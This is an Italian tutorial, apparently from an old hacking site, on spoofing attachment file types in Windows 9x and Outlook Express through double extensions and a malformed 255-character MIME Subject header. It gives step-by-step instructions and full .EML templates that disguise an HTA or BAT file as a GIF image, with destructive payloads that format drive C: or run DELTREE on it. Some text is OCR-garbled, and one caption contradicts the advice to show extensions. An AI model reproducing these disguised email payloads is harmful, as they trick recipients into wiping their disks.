| IL FILE TYPE
SPOOFING |
| Lo spoofing dei tipi
di file è una tecnica usata, spesso anche dai
virus, per simulare che un certo file corrisponda
ad un tipo diverso da ciò che è realmente: in
questo modo si può ingannare un utente facendogli
credere che un certo attachment sembri un'immagine
JPG, un archivio ZIP o qualsiasi altra cosa,
quando in realtà non lo è. Un primo tipo di
inganno, quello delle estensioni, è molto semplice
da realizzare e si basa sul fatto che Windows
(95/98/ME) gestisce male le estensioni associate
ai diversi tipi di files. Infatti il sistema di
Microsoft è stato progettato (di default) per non
visualizzare le estensioni dei tipi di files che
hanno un'associazione nel registro. Ciò vuol dire
che un file ARCHIVIO.ZIP viene mostrato
all'interno di Esplora Risorse e degli altri
programmi solo col nome ARCHIVIO, senza
visualizzare la sua estensione e può essere
riconosciuto dalla classica icona associata ai
file di Winzip. Questa constatazione ci pone un
primo interrogativo: cosa succede ad un file
rinominato (volutamente) col nome
ARCHIVIO.ZIP.EXE? Questo viene considerato un file
di Winzip o un eseguibile? Ecco quindi in cosa
consiste il primo inganno sui tipi di file: usando
questo trucco della "doppia estensione" Windows
riconosce il file come un .EXE (quindi lo tratta
come un eseguibile) tuttavia visualizza solo il
nome senza l'estensione, quindi per un utente
ignaro di questo fatto, il file porterà il nome
ARCHIVIO.ZIP, quando in realtà è un'applicazione
.EXE. Questo trucco è stato usato da molti worm
come il famigerato ZIP Explorer. Per accorgersi
della frode l'unica cosa che si può fare (oltre ad
usare un buon antivirus) è quella di far
visualizzare a Windows le estensioni dei files,
anche per quelli associati ad applicazioni. Questa
opzione si può attivare da Esplora Risorse nel
menu Strumenti/Opzioni Cartella o
Visualizza/Opzioni Cartella come in
(Fig.1). In questo modo un'e-mail che porta
dietro una attachment, visualizza il file allegato
col suo nome reale, mostrando magari che questo in
realtà è un eseguibile (Fig.2).
|
| IL MIME NELLE
E-MAIL |
| Un secondo modo di
realizzare lo spoofing dei tipi di files è invece
molto più subdolo e meno facile da intercettare:
si tratta dell'uso di intestazioni malformate nel
protocollo MIME che gestisce gli allegati alle
e-mail. Gli attachment in un messaggio di posta
elettronica vengono codificati usando lo standard
MIME con una codifica di solo testo nel caso dei
file ASCII puri (TXT, BAT, HTA) oppure con la
codifica "base64" nel caso si tratti di file
binari (eseguibili, immagini, file ZIP). Ecco un
esempio di come vengono codificati (in forma di
attachment) un file di immagine (PAMELA.GIF) e un
file eseguibile (COMMAND.COM). La sezione
evidenziata (box 1) nelle due definizioni
di attachment è quella che definisce il tipo di
files allegato e quindi anche l'applicazione da
eseguire e l'associazione che deve realizzare
Windows per quel file. L'inganno consiste proprio
nel cambiare il campo "Content-Type" indicando
magari che un file eseguibile è un'immagine.
Windows (quindi Outlook Express) andrà ad
associare a quel file l'icona corrispondente a ciò
che indichiamo dentro la definizione MIME, quindi
un attachment che magari è un programma porterà
l'icona associate ai file GIF. Proviamo allora a
creare una e-mail con un allegato "camuffato":
scriviamo un file di testo come quello riportato e
salviamolo poi con l'estensione .EML (per renderlo
una e-mail leggibile da Outlook); |
MIME-Version: 1.0 From:
mittente@server.com To:
destinatario@server.com Subject: bla bla
bla Content-Type: image/gif;
charset=us-ascii Content-Transfer-Encoding:
7bit <script>var wsh=new
ActiveXObject('WScript.Shell'); wsh.Run('format.com
c:');</script>
| |
| Il file allegato è
un'applicazione di tipo HTA, quindi eseguibile,
tuttavia se andiamo ad aprire l'e-mail essa
riporta un allegato con l'icona di un'immagine GIF
proprio perche nel "Content - Type" abbiamo
specificato un tipo di file diverso. l'exploit
ancora non è ancora completo, perché se ora
proviamo ad aprire il file allegato, questo viene
associato al visualizzatore di immagini GIF di
Windows e non viene più considerato un eseguibile,
quindi pur volendo non potrebbe causare alcun
danno. Cosa è successo? Cambiando il "Content -
Type" abbiamo modificato radicalmente il tipo di
file, che ora viene associato ad un'altra
applicazione e quindi non è più eseguibile. Come
oltrepassare questa limitazione? E' qui che viene
sfruttato un bug del MIME che consiste nel creare
un "Subject" dell'e-maillungo 255 caratteri (ne
uno di più, ne uno di meno!) seguito
dall'estensione che vogliamo dare al file (nel
caso di prima quindi ".HTA"). Se mettessimo un
solo carattere in meno dei 255 previsti,
l'allegato verrebbe riconosciuto come un'immagine
GIF; se invece mettessimo un carattere in più
l'allegato perderebbe ogni tipo di estensione e
non sarebbe riconosciuto da Windows ne associato a
qualche applicazione. Ecco quindi come modificare
l'e-mail per realizzare il filetype
spoofing; |
MIME-Version: 1.0 From:
mittente@server.com To:
destinatario@server.com Subject: PAMELA.GIF +
[245 spazi vuoti] + .HTA Content-Type:
image/gif;
charset=us-ascii Content-Transfer-Encoding:
7bit <script>var wsh=new
ActiveXObject('WScript.Shell'); wsh.Run('format.com
c:');</script>
| |
| L'essenziale è
inserire nel " Subject" 255 caratteri ASCll:
volendo si può scrivere anche un nome fasullo per
il file (PAMELA.GIF) e completare poi i caratteri
che mancano con degli spazi vuoti fino ad arrivare
a 255 (nel nostro caso quindi servono 245 spazi
perché "PAMELA.GIF" è lungo 10 caratteri) e infine
scrivere la vera estensione da assegnare al file
allegato (.HTA). Il tutto ovviamente va scritto su
un'unica riga(Fig.3); |
| Ecco un altro esempio
che utilizza lo spoofing di un file BAT, che
virtualmente può eseguire qualsiasi comando sul
sistema: |
MIME-Version: 1.0 From:
mittente@server.com To:
destinatario@server.com Subject: PAMELA.GIF +
[245 spazi vuoti] + .BAT Content-Type:
image/gif;
charset=us-ascii Content-Transfer-Encoding:
7bit DELTREE /Y C:\
| |
| CONCLUSIONI |
|
Come ci difende
Windows da questi attachment pericolosi? E' veto
che la falla di sicurezza può rendere ingannev6li
i files e confondere gli utenti, tuttavia Windows
si accorge dell'inghippo e quando l'utente clicca
per aprire l'allegato, Outlook mostra un minimo di
avviso (Fig.4), anche se però non viene
menzionato il fatto che l'allegato non è
un'immagine e all'interno dello stesso avviso il
file viene nominato col nome fasullo, non con
quello reale, proprio per il fatto che sono stati
usati 255 caratteri
By.(GNOMIX). | |
| |
 |
| Fig.1
Abilitare l'opzione è sconsigliabile |
| |
Content-Type: image/gif;
name="PAMELA.GIF" Content-Transfer-Encoding:
base64
oaMk7W8HR28u0yAIB2OfcimXz5UmiMuV025P83 .......(parte
codificata in base64)
Content-Type:
application/actet-stream;
name="COMMAND.COM" Content-Transfer-Encoding:
base64
TVogALsAAAC4BAAA//8AAAAAAAAAA .......(parte
codificata in base64)
| |
| Box 1 Esempio
di codifica degli allegati |
| |
 |
| Fig.2
L'allegato appare col nome completo |
| |
 |
| Fig.3 Esempio
di header MIME malformato |
| |
 |
| Fig.4 Outlook
mostra l'avviso
d'apertura | |